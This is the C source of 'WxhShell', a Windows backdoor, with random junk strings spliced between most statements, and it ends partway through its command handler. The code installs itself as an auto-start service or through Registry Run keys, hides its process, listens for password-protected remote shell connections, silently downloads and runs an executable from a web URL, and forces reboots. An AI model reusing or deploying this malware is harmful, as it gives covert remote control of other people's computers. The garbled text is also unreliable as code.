MS& AZy2Pu56 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); []0~9,u if(NULL == hInst ) return 0; :a@z53X@M Y7)@(7G)\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2oG|l!C g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); " G6jUTt NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8w[EyVHA 9Ol_z\5 if (!NtQueryInformationProcess) return 0; PWu2;JF Gnt!!1_8L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oLMi vy4 if(!hProcess) return 0; Q$L(fHkw Y`?X Fy: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +yH~G9u( J6ShIPc CloseHandle(hProcess); 34kd|!e, \=_q{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^(*O$N*# if(hProcess==NULL) return 0; H;|:r[d! |uBC0f HMODULE hMod; 3og$'#6P char procName[255]; a3O_#l-Z unsigned long cbNeeded; u/'sdt _ng= 5 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C}'="g^=sl Ef!p:HBJ CloseHandle(hProcess); gdE `UZ\ >1G*ya) if(strstr(procName,"services")) return 1; // 以服务启动 p30&JJ!~" /t)c fFM return 0; // 注册表启动 GTe:k } ca*[n~np yGGB // 主模块 p3FnYz-V int StartWxhshell(LPSTR lpCmdLine) vcO`j<` { \N , ' + SOCKET wsl; T}Vpy` BOOL val=TRUE; }k0-?_Z=1 int port=0; +JS/Z5dl+} struct sockaddr_in door; 6n\z53Mk kseJm+Hc if(wscfg.ws_autoins) Install(); _I-VWDCk \nAHpF port=atoi(lpCmdLine); 2U`W[ Y*cJ4hQ if(port<=0) port=wscfg.ws_port; >-5Gt 65#:2,s WSADATA data; ?VP!1O=J if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /
&D$kxz \R\@t]>Y if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 33'lZubV setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D#Yx,`Ui door.sin_family = AF_INET; Ij}F<ZgZG door.sin_addr.s_addr = inet_addr("127.0.0.1"); zZ"U9!T door.sin_port = htons(port); ;GFB@I@
'Rd*X6dv if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |EV\a[ closesocket(wsl); !FO^:V<|5 return 1; FEZ"\|I| } +VLe'| x3 6 #x if(listen(wsl,2) == INVALID_SOCKET) { "E)++\JL closesocket(wsl); ViwpyC'v return 1; (S)E|;f%C } A:bPIXb Wxhshell(wsl); EH*ym#Y WSACleanup(); zB6u-4^wT t_>bTcsU return 0; O< tnM<"( }i7U}T } k)usUP' koEX4q // 以NT服务方式启动 UcLNMn| VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ig Vo%)n { }pE~85h4M DWORD status = 0; zP(=,)d DWORD specificError = 0xfffffff; g2{H^YUN$_
SU%rWH serviceStatus.dwServiceType = SERVICE_WIN32; (21 W6 serviceStatus.dwCurrentState = SERVICE_START_PENDING; tdnXPxn[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YP#AB]2\} serviceStatus.dwWin32ExitCode = 0; O(D5A?tv! serviceStatus.dwServiceSpecificExitCode = 0; mk%"G =w serviceStatus.dwCheckPoint = 0; S`@6c$y k serviceStatus.dwWaitHint = 0; H8-D'q>R *M&VqG4P9w hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3_\{[_W if (hServiceStatusHandle==0) return; 2@3.xG }x?H ~QQT status = GetLastError(); 1KYbL8c if (status!=NO_ERROR) 8S1P&+iKs { ,]uX:h-EM serviceStatus.dwCurrentState = SERVICE_STOPPED; )0U3w#,JQ serviceStatus.dwCheckPoint = 0; !<=%;+ serviceStatus.dwWaitHint = 0; EN-H4F serviceStatus.dwWin32ExitCode = status; ?#* serviceStatus.dwServiceSpecificExitCode = specificError; v= *Bb3dt SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5&<d2EG6l' return; _D>as\dP } 88#qu. hk@`N;dn serviceStatus.dwCurrentState = SERVICE_RUNNING; B]|6`UfB serviceStatus.dwCheckPoint = 0; 8{G?92
{rN serviceStatus.dwWaitHint = 0; t$H':l0 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pdi=6<?bd } 6/[Z178m Rct"\{V')n // 处理NT服务事件,比如:启动、停止 T1(j l) VOID WINAPI NTServiceHandler(DWORD fdwControl) &8]#RQy{f { UEEBWz H switch(fdwControl) xz"Z3B { ke}Y2sB case SERVICE_CONTROL_STOP: ,ykPQzO serviceStatus.dwWin32ExitCode = 0; WO.0K5nfk serviceStatus.dwCurrentState = SERVICE_STOPPED; uS,p|}Q& serviceStatus.dwCheckPoint = 0; bvipbf[m< serviceStatus.dwWaitHint = 0; nxyjL)!)0 { /i{tS`[F2a SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~IlF*Zz#}6 }
:vYtMp return; >,>;)B@J case SERVICE_CONTROL_PAUSE: aJ6#=G61l serviceStatus.dwCurrentState = SERVICE_PAUSED; KbwTj*k[ break; kUn2RZ6$# case SERVICE_CONTROL_CONTINUE: llHc=&y# serviceStatus.dwCurrentState = SERVICE_RUNNING; 7`blGzP_ break; }iua]
4| case SERVICE_CONTROL_INTERROGATE: 9u?)vR[@e break; }z%OnP }; =de<WoKnu2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); +z:CZ(fb
} b|sc'eP#? O->_/_ // 标准应用程序主函数 (ve+,H6w\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]~ !XiCqu { *?_qE cc|CC
Zl // 获取操作系统版本 *.m{jgi1X OsIsNt=GetOsVer(); r"{Is?yKe GetModuleFileName(NULL,ExeFile,MAX_PATH); N>d|A]zH ,4H;P/xsb // 从命令行安装 i1qS ns if(strpbrk(lpCmdLine,"iI")) Install(); Jo{zy ~~C6)N~1 // 下载执行文件 X0y?<G1(a if(wscfg.ws_downexe) { ^oQekga\l if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dq/3E-y5 WinExec(wscfg.ws_filenam,SW_HIDE); 45x,|h[F{5 } SkiJpMN 7fTxGm if(!OsIsNt) { !uWxRpT,7 // 如果时win9x,隐藏进程并且设置为注册表启动 cVQatm HideProc(); xi680' StartWxhshell(lpCmdLine); owE<7TGPI? } 29"mE;j else EHpu*P~W if(StartFromService()) j\2]M // 以服务方式启动 44|deE3Z StartServiceCtrlDispatcher(DispatchTable); YF}9k else 8#+`9GI // 普通方式启动 wL'oImE StartWxhshell(lpCmdLine); $brKl8P 9v~1We;{$ return 0; \s=QiPK } Bu7A{DRf %6AYCN?Ih >9-Dd)< 0jBKCu ===========================================
MWBXs75I 9c#lLKrzG RK?jtb=&A xN6?yr U?8i'5) $ "Afy)Ir " fO*)LPen.z VR"u* #include <stdio.h> hIR@^\? #include <string.h> qh%i5Mu #include <windows.h> u\`/Nhn #include <winsock2.h> ~6p5H}'H1 #include <winsvc.h> 6|QTS|! #include <urlmon.h> /sy-;JDnsu ~\2;i]| #pragma comment (lib, "Ws2_32.lib") ucw`;<d8 #pragma comment (lib, "urlmon.lib") 7g-Dfg.w t-_#Q bzE{ #define MAX_USER 100 // 最大客户端连接数 f,|QAj=a #define BUF_SOCK 200 // sock buffer MzcB3pi #define KEY_BUFF 255 // 输入 buffer I$n+DwKcN ^>-+@+(
r #define REBOOT 0 // 重启 qtO1hZ #define SHUTDOWN 1 // 关机 PmHd9^C ]de\i=?| #define DEF_PORT 5000 // 监听端口 FIH@2zA WPIZi[hBs #define REG_LEN 16 // 注册表键长度 &9RH}zv6 #define SVC_LEN 80 // NT服务名长度 A*hZv|$0 v' C@jsxM // 从dll定义API + a-D#^2; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8`}l\ Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $Jc q7E~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yKYl@&H/% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @9aGz6k+ hje! w` // wxhshell配置信息 /w0sj`;" struct WSCFG { a_Jb>} int ws_port; // 监听端口 *m*`}9 char ws_passstr[REG_LEN]; // 口令 Wu ,S\! int ws_autoins; // 安装标记, 1=yes 0=no CA/ -Gb char ws_regname[REG_LEN]; // 注册表键名 SgiDh dE char ws_svcname[REG_LEN]; // 服务名 2SYKe$e char ws_svcdisp[SVC_LEN]; // 服务显示名 EOhC6>ATh char ws_svcdesc[SVC_LEN]; // 服务描述信息 [O\9 9> char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "9w}dQ int ws_downexe; // 下载执行标记, 1=yes 0=no &I%IaNco char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" avg4K*v v char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^;+[8:Kb \Dfm(R }; cM3jnim 0*/kGvw`i // default Wxhshell configuration M_Bu,<q^ struct WSCFG wscfg={DEF_PORT, Y17hOKc` "xuhuanlingzhe", 8&%Cy'TIz4 1, 7#ofNH J "Wxhshell", ZNi
+Aw$u "Wxhshell", teAukE=} "WxhShell Service", SyAo,
)j "Wrsky Windows CmdShell Service", ;`+`#h3-V "Please Input Your Password: ", z?4=h Sy 1, 4Ac}(N5D@ "http://www.wrsky.com/wxhshell.exe", )9B:Y;>) "Wxhshell.exe" FNC[59 }; 1eHe~p , i3P9sdTD // 消息定义模块 Hs$'0: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~q 7;8<U char *msg_ws_prompt="\n\r? for help\n\r#>"; grspt} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t{zBC?cR char *msg_ws_ext="\n\rExit."; *jE;9^ char *msg_ws_end="\n\rQuit."; h48YDWwy char *msg_ws_boot="\n\rReboot..."; [X<Pk char *msg_ws_poff="\n\rShutdown..."; ;g+]klR! char *msg_ws_down="\n\rSave to "; wN(&5rfS { D+Ym%n char *msg_ws_err="\n\rErr!"; w.z<60%},0 char *msg_ws_ok="\n\rOK!"; ~@D/A/| A@2Bs5F char ExeFile[MAX_PATH]; 2e59Ez%k6 int nUser = 0; ^&Q<tN7 HANDLE handles[MAX_USER]; E=]]b;u-n int OsIsNt; et` 0Je 5]d{6Nc3P SERVICE_STATUS serviceStatus; )S*1C@ SERVICE_STATUS_HANDLE hServiceStatusHandle; <: :VCA % $Asr`Q1i
// 函数声明 g5Hr7Km int Install(void); *C7F2o int Uninstall(void); R5(F)abi int DownloadFile(char *sURL, SOCKET wsh); LTXz$Z] int Boot(int flag); dxCPV6 XI void HideProc(void); 45<y{8 int GetOsVer(void);
DkdL#sV int Wxhshell(SOCKET wsl); 'mE^5K void TalkWithClient(void *cs); 35_)3R) int CmdShell(SOCKET sock); s6n`?,vw int StartFromService(void); APq7 f8t int StartWxhshell(LPSTR lpCmdLine); E{%SR U*\17YU6h VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~8{sA5y VOID WINAPI NTServiceHandler( DWORD fdwControl ); KP{3iUqvO s$ z2 c // 数据结构和表定义 T<yb#ak SERVICE_TABLE_ENTRY DispatchTable[] = KmmQ ,e% { 4x=(Zw_X {wscfg.ws_svcname, NTServiceMain}, ~KPv7WfG {NULL, NULL} 4-^[%&>} }; 0[Eb .2I )+EN$*H // 自我安装 |>+uw|LtZ int Install(void) |##GIIv;i { t,HFz6 char svExeFile[MAX_PATH]; ! %Ny0JkO HKEY key; Ee)xnY%( strcpy(svExeFile,ExeFile); gCJIIzl%Bh hqDqt"dKz // 如果是win9x系统,修改注册表设为自启动 Ilq=wPD}j if(!OsIsNt) { R5(T([w' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [E|uY]DR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fd 1C{^c RegCloseKey(key); y}"7e)|t% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0BK5qz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?\y%]1 RegCloseKey(key); |<c
WllN return 0; "HK/u(z) } J'Sm0 } :mZYS4L~ } Bm /YgQi else { r,;\/^ u* ^B]@Lr E^ // 如果是NT以上系统,安装为系统服务 i=rH7k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .<YcSG if (schSCManager!=0) 8@eOTzm { v"!4JZ%K SC_HANDLE schService = CreateService Fr [7 ( ;gB`YNL schSCManager, yWb4Ify wscfg.ws_svcname, rQr!R$t/[ wscfg.ws_svcdisp, q-_' W, SERVICE_ALL_ACCESS, Z
a(|(M H SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3CZS) SERVICE_AUTO_START, 6gU{(H
SERVICE_ERROR_NORMAL, "#4dW 7E svExeFile, sn{tra NULL, Mu&x_&| NULL, fk{0d NULL, ZA820A>2! NULL, |5MbAqjzC NULL `^6 ,kI-c ); @dEiVF`4: if (schService!=0) 75NRCXh. {
AK@L32-S CloseServiceHandle(schService); [Qj;/ CloseServiceHandle(schSCManager); <]d
LX}C) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E=w3=\JP strcat(svExeFile,wscfg.ws_svcname); D/ Dt if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0xMj=3'] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3)N\'xFh@ RegCloseKey(key); i$uN4tVKT return 0; .%}+R|g } ]Kh2;>=
Xj } 8Vn4.R[vE CloseServiceHandle(schSCManager); 7o]HQ[ xO } )jDJMi_[ } 6QZp@ ^}$O|t return 1; 5?u}#zO } |yY`s6Uq NNkP\oh\ // 自我卸载 uY#TEjGh] int Uninstall(void) ;_+uSalt { m_7
nz!h HKEY key; dh -,E d)ahF[82 if(!OsIsNt) { m%r/O&g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #wR;|pN RegDeleteValue(key,wscfg.ws_regname); yVJ%+d:6 RegCloseKey(key); zT9JBMNE: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j*R,m1e8 RegDeleteValue(key,wscfg.ws_regname); "484n/D RegCloseKey(key); 1hmc,c return 0; )!W45"l-3M } CIC[1, } l67Jl"v } diT=x52 else { q|(W-h+ (<c7<_-H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =|U@ if (schSCManager!=0) TzG]WsY_ { LKF/u` 0dP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^J/)6/TMXm if (schService!=0) zI;0& { WF2-$`x if(DeleteService(schService)!=0) { 4P8*k[. CloseServiceHandle(schService); Jjm|9|C, CloseServiceHandle(schSCManager); K[?Xm"4 return 0; n1v5Q2xw } N{Qxq>6 G CloseServiceHandle(schService); ,xsH|xW } ip:LcG t CloseServiceHandle(schSCManager); ;;U:Jtn2 } 9Kv|>#zff } _aS;!6b8W n.}T1q|l return 1; x3G :(YfO } =:I+6PlF@ , H
kj1x // 从指定url下载文件
zj{s}* int DownloadFile(char *sURL, SOCKET wsh) Yl^mAS[w& { _}6q{}jn:c HRESULT hr; 7/IlL char seps[]= "/"; j<yiNHC char *token; P 7D!6q char *file; ,_
2x{0w:> char myURL[MAX_PATH]; N_gD>6I char myFILE[MAX_PATH]; Bi%x`4Lf 1NLg _UBOK strcpy(myURL,sURL); r6.d s^ token=strtok(myURL,seps); ~/#1G.H while(token!=NULL) mTDVlw0dh { e@<?zS6 file=token; /n,a?Ft^N) token=strtok(NULL,seps); 6"
B%)0 } dY!Z bn9;7`>. GetCurrentDirectory(MAX_PATH,myFILE); zw@'vncc strcat(myFILE, "\\"); Ri7((x]H" strcat(myFILE, file); t67Cv/r~ send(wsh,myFILE,strlen(myFILE),0); L:&k(YOBA send(wsh,"...",3,0); X` YwP/D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]+Ixi o if(hr==S_OK) \,G#<>S return 0; iw?I else Tl("IhkC return 1; 5TKJWO. OjE`1h\ } wIvo"|% 3`.P'Fh(k // 系统电源模块 4@3[ int Boot(int flag) %
ZU/x
d { 0#p/A^\#7M HANDLE hToken; Wd,a?31| TOKEN_PRIVILEGES tkp; 2tQ`/!m>v$ ){;02^tX if(OsIsNt) { kL*0M<0 ( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qdD)e$XW, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N@T.T=r tkp.PrivilegeCount = 1; ~aK?cP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qt e>r AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qOhO qV if(flag==REBOOT) { {p<Zbm. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ()T[$.( return 0; G=9d&N } a:STQk V else { |AZW9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mh/n.*E7 return 0; 4Ft1@ } Ukz;0q } P\2M[Gu(Q else { ~%k ?L4% if(flag==REBOOT) { ~p1EF;4 # if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uzr\oj+> return 0; k=ytuV\ } S::=85[>z else { G@ \Pi#1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 32)tJ|m return 0; QCOo } .^(/n9|o- } +C]&2zc. j{++6<tr return 1; 256LH Y|6 } y2L#:[8 }ut]\]b // win9x进程隐藏模块 F"+o@9] void HideProc(void) m` AK~O2 { D=f7NVc >Q {}~: &.D HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YvL?j if ( hKernel != NULL ) Y$>-%KcKeI { bzpFbfb pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m!n/U-^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3
fj FreeLibrary(hKernel); p/6zEZ* } p
zw8 T c7uG9 return; k`KGB } <!d"E@%v@ "8f?h%t // 获取操作系统版本 v5}X+' int GetOsVer(void) {lG@hN' { Rfb?f}j OSVERSIONINFO winfo; hS [SRa'. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^Mkk@F&1 GetVersionEx(&winfo); `TqSQg_l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qq& W3 return 1; w0m^ &,;# else p&p.Q^"ok return 0; gJN0!N' } {^)70Vz>PE )KSoq/ // 客户端句柄模块 K+\nC)oG int Wxhshell(SOCKET wsl) AEirj / { 3L>IX8_ SOCKET wsh; '_s}o< struct sockaddr_in client; {Bvj"mL]j DWORD myID; F?+3%>/A@ iOw3MfO while(nUser<MAX_USER) gbBy/_b { W[bmzvJ_X int nSize=sizeof(client); ;E;To\NCYF wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E`\8TqO if(wsh==INVALID_SOCKET) return 1; 5X.ebd;PT % ~]xuP[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Pf_F59" if(handles[nUser]==0) 4p`XG1Pt closesocket(wsh); #EO1`9f48x else jjs&`Fy, nUser++; G`h+l< } 'vV$]/wBF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jF ^5}5U }alj[) return 0; <~emx'F| } }3 m0AQ;K [onqNp // 关闭 socket BbOu/i| void CloseIt(SOCKET wsh) \kIMDg3} { @`"AHt closesocket(wsh); %u\26[/ nUser--; _ o6G6e, ExitThread(0); ^ZeJ[t&!# } NLd``=& f|EUqu%E // 客户端请求句柄 A?!I/|E^; void TalkWithClient(void *cs) 7Ey#u4Q { j`*N,*ha r{Rg920 SOCKET wsh=(SOCKET)cs; yTM3^R( char pwd[SVC_LEN]; V3N0Og3 char cmd[KEY_BUFF]; cR{>IH 4^ char chr[1]; 4'pS*v int i,j; :PYtR [U
=Uo* while (nUser < MAX_USER) { l.)}t)my} *4Fr&^M\ if(wscfg.ws_passstr) { -4#2/GXNO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kYwb -; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1$lh"fHU //ZeroMemory(pwd,KEY_BUFF); 1nhtM i=0; )ukpJ z"" while(i<SVC_LEN) { 2(!fg4#+ 0[A9b,MMVO // 设置超时 &NZfJs fd_set FdRead; t/o N>mQG struct timeval TimeOut; "VxWj}+] FD_ZERO(&FdRead); ,{eUP0] FD_SET(wsh,&FdRead); h&@R| N TimeOut.tv_sec=8; |aToUi.Q% TimeOut.tv_usec=0; 4\5uY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QrG`&QN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gIEl. U!5)5c}G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); neF]=uCWnT pwd=chr[0]; bF}V4"d,B3 if(chr[0]==0xd || chr[0]==0xa) { Fig&&b a pwd=0; )u ?' ; break; O%!5<8Xrb } u'A#%}3 i++; :VmHfOO } kdx
y\
jA 2
+5e0/_V // 如果是非法用户,关闭 socket ZUXr!v/R:1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #%3rTU } W1aa:hEf C.MoKa3 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vC;]jJb: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'BMy8 %WFu<^jm while(1) { S*)1|~pRvQ n}-3o]ku ZeroMemory(cmd,KEY_BUFF); Ok-.}q>\Mv ;(6g\'m // 自动支持客户端 telnet标准 Rs& @4_D j=0; xgsjm)) while(j<KEY_BUFF) { "$HbK
@]!h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [f~N_G6I^o cmd[j]=chr[0]; ?wpB` if(chr[0]==0xa || chr[0]==0xd) { VxO%rq3 cmd[j]=0; M.}7pJ7f break; #b0{#^S: } 8t"~Om5sG j++; )wXuwdc[ } CR<`ZNuWz v{x{=M] // 下载文件 -]G(ms;}/Y if(strstr(cmd,"http://")) { (LAXM
x send(wsh,msg_ws_down,strlen(msg_ws_down),0); XkKC! if(DownloadFile(cmd,wsh)) QvPD8B send(wsh,msg_ws_err,strlen(msg_ws_err),0); wt}9B[ else o6kNx>tc) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hmbj*8 } M<?Q4a'Q else { ?z-}>$I; lVH<lp_ZtK switch(cmd[0]) { f,i5iSYf
Zc&&[g // 帮助 >:sUL<p case '?': { tS# `.F~y send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5 +9Ze9 break; :bU(S<%M } c/W=$3 // 安装 RWq{Ff}Hk case 'i': { /G{_7cb if(Install()) Jwn AW}= send(wsh,msg_ws_err,strlen(msg_ws_err),0); f6<g3Q7Mu else U4?(A@z9^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m@Ev~~; break; $9
p!Y} } "L"150Ih // 卸载 {43yb_B( case 'r': { i?;r7> if(Uninstall()) )n7l'}o?+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); }$su4A@0 else OV CR0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3cl9wWlJ_E break; 1pp -=$k } ,0$)yZ3*3, // 显示 wxhshell 所在路径 R/b4NGW@ case 'p': { J a,d3K
char svExeFile[MAX_PATH]; r~[vaQQ6L strcpy(svExeFile,"\n\r"); ]J1S#Q5' strcat(svExeFile,ExeFile); ig"uXs send(wsh,svExeFile,strlen(svExeFile),0); d=.2@Ry break; 3Q}$fQ&S } !,$i6gm // 重启 ^u)z{.z'H/ case 'b': { qf'm=efRyu send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uw\1b.r'B if(Boot(REBOOT)) #PLEPB send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ANuBNF else { 46jh-4)< closesocket(wsh); RH)EB<PV ExitThread(0); s3s4OAY } hi=XYC, break; }SyxPXs } fCAiLkT,C[ // 关机 }H:F< z* case 'd': { z|R,& |